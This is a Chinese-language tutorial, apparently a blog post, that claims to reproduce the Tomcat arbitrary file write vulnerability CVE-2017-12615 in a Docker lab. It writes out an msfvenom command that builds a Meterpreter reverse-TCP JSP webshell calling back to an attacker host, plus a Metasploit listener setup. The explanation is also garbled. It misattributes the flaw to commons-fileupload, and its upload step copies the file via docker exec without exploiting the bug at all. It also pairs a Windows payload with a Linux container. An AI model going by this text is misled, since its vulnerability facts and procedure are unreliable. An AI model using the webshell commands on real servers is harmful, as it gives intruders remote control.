Tomcat任意写入文件漏洞(CVE-2017-12615)复现(详细完整原理篇,小白也能看得懂)
Tomcat任意文件写入漏洞(CVE-2017-12615)是由于Tomcat服务器中的commons-fileupload库处理multipart/form-data类型的数据请求不当,攻击者可以通过构造特殊的请求,将文件内容写入到服务器上任意位置的文件中。
以下是复现该漏洞的步骤:
- 确保你的环境中安装了Docker,因为我们将使用Docker来运行Tomcat服务。
从Github获取相关的漏洞复现环境:
git clone https://github.com/fofapro/vulnerabilities-lab.git cd vulnerabilities-lab/CVE-2017-12615
构建并运行Tomcat容器:
docker-compose up -d
- 访问Tomcat服务,默认情况下,你可以通过浏览器打开 http://localhost:8080 进行访问。
使用
msfvenom
生成一个Webshell,并将其保存到当前目录:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your-IP-Address> LPORT=4444 -f jsp > shell.jsp
注意替换
<Your-IP-Address>
为你的IP地址,端口4444是用于和Metasploit进行通信的。使用Docker命令将生成的shell.jsp上传到Tomcat服务器:
docker exec -it $(docker ps -q) cat /shell.jsp | docker exec -i $(docker ps -q) bash -c 'cat > /usr/local/tomcat/webapps/ROOT/shell.jsp'
- 现在你应该可以在Tomcat的根目录看到
shell.jsp
文件。 启动Metasploit并设置监听器:
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST <Your-IP-Address> set LPORT 4444 exploit -j
- 最后,你可以通过访问 http://localhost:8080/shell.jsp 触发Webshell,并与容器中的Windows系统建立会话。
注意:在实际的渗透测试中,确保你在进行操作前已经得到了授权,并且在完成后进行清理,以避免对服务器安全造成不必要的风险。
评论已关闭